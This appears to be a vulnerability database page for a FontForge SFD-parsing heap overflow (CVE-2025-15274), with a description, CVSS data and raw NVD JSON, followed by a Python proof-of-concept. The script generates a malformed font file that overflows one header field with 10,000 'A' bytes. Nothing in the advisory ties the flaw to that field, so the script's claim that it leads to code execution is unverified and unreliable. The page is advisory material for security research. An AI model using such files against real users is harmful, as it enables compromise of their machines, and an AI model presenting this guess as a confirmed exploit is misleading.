Security Vulnerability Report
中文
CVE-2025-15274 CVSS 8.8 HIGH

CVE-2025-15274

Published: 2025-12-31 07:15:52
Last Modified: 2026-01-07 16:08:13

Description

FontForge SFD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28544.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:* - VULNERABLE
FontForge < 最新修复版本
具体受影响版本需参照FontForge官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-15274 PoC - FontForge SFD File Heap Buffer Overflow # This is a proof-of-concept to trigger the vulnerability via malformed SFD data import struct import sys def create_malicious_sfd(): """ Generate a malicious SFD file that triggers heap buffer overflow in FontForge's SFD parser. The vulnerability exists due to improper validation of data length before copying to heap-based buffer during SFD file parsing. """ sfd_content = """SplineFontDB: 3.0 FontName: MaliciousFont FullName: Malicious Font FamilyName: Test Family Version: 1.0 ItalicAngle: 0 UnderlinePosition: -100 UnderlineThickness: 50 HheadAscent: 800 HheadDescent: -200 Encoding: ISO10646-1 UnicodeInterp: none NameDatabase: none BeginChars: 256 1 BeginChar: space Width: 200 VWidth: 0 Flags: 0 TeXWidth: 100 Script: 0 AnchorPoint: "above" 0 0 0 none AnchorPoint: "below" 0 0 0 none AnchorPoint: "base" 0 0 0 none SplineSet 100 0 m 1 100 700 l 1 200 700 l 1 200 0 l 1 100 0 l 1 EndSplineSet EndChar EndChars EndSplineFont """ # Append malicious payload to trigger buffer overflow # The overflow occurs when parsing certain string fields overflow_marker = b'A' * 10000 # Large payload to overflow heap buffer # Modify specific field to contain oversized data sfd_content = sfd_content.replace( 'NameDatabase: none', f'NameDatabase: {overflow_marker.decode("latin-1")}' ) return sfd_content.encode('latin-1') def main(): print("[*] CVE-2025-15274 FontForge SFD Heap Buffer Overflow PoC") print("[*] Generating malicious SFD file...") malicious_sfd = create_malicious_sfd() output_file = "CVE-2025-15274_malicious.sfd" with open(output_file, 'wb') as f: f.write(malicious_sfd) print(f"[+] Malicious SFD file created: {output_file}") print(f"[+] File size: {len(malicious_sfd)} bytes") print("[!] This file should be opened with vulnerable FontForge version") print("[!] Expected result: Heap buffer overflow leading to RCE") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15274", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:51.550", "lastModified": "2026-01-07T16:08:13.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge SFD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28544."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en el análisis de archivos SFD de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe en el análisis de archivos SFD. El problema se debe a la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28544."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1190/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}